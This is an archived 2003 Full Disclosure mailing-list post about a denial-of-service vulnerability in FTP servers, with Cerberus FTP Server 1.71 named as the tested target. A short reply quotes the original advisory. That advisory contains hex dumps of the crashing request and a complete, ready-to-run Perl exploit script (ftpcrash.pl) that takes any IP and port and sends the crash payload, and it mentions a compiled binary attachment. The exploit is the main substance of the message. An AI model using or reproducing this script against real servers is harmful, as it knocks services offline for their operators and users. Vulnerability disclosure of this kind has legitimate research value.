Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Full Disclosure: RE: FTPServer Denial Of Service Vulnerability

RE: FTPServer Denial Of Service Vulnerability

From: Aditya [Aditya Lalit Desgmukh] <aditya_at_online.gr8domain.biz>
Date: Wed, 20 Aug 2003 10:15:19 +0530

hi there,
no binaries please! the source code in enough....
  -----Original Message-----
  From: full-disclosure-admin_at_lists.netsys.com
[mailto:full-disclosure-admin_at_lists.netsys.com]On Behalf Of Florian Rock
  Sent: Monday, August 18, 2003 6:34 PM
  To: vuln_at_secunia.com; full-disclosure_at_lists.netsys.com
  Subject: [Full-disclosure] FTPServer Denial Of Service Vulnerability

  I have found a very serious hole in FTPServer
  The Exploit is tested on Cerberus FTP Server 1.71 and a own coded, but I
think all FTPServer are Vulnerable
  Sorry but i have to less ftpserver to test

  And so it Works
  Typical request:
  00000000 55 73 65 72 20 53 68 75 74 64 6f 77 6e 0d 0a User
Shutdown..

  Exploit request:
  00000000 0d 0a 55 73 65 72 20 53 68 75 74 64 6f 77 6e ..User
Shutdown

  I've coded an exploit:
  See attached file: ftpcrash.exe (ziped) for people how have no perl

  My exploit (in perl):
  [code]
  -ftpcrash.pl-
  print "Exploit for FTP-Server\n";
  print " by The real Remoter\n";
  my $usage = "\nftpcrash <IP> <Port>\n";
  die "$usage" unless $ARGV[0] && $ARGV[1];
  use Socket;
  my $remote = $ARGV[0];
  my $port = $ARGV[1];
  my $iaddr = inet_aton($remote);
  my $proto = getprotobyname("tcp");
  my $paddr = sockaddr_in($port, $iaddr);
  socket(SOCK, PF_INET, SOCK_STREAM, $proto);
  connect(SOCK, $paddr) or die "Can't connect to " . $remote;
  print "Sending exploit\n";
  $msg = "\x0d\x0a";
  $msg = $msg . "User Shutdown";
  send(SOCK,$msg, 0) or die "Can't send Exploit";
  sleep(1);
  print "Server Crashed!";
  sleep(1);
  exit;
  [/code]

  Sorry for my bad english (I'm german)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  • application/x-pkcs7-signature attachment: smime_p7s
Received on Aug 20 2003
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
edgeos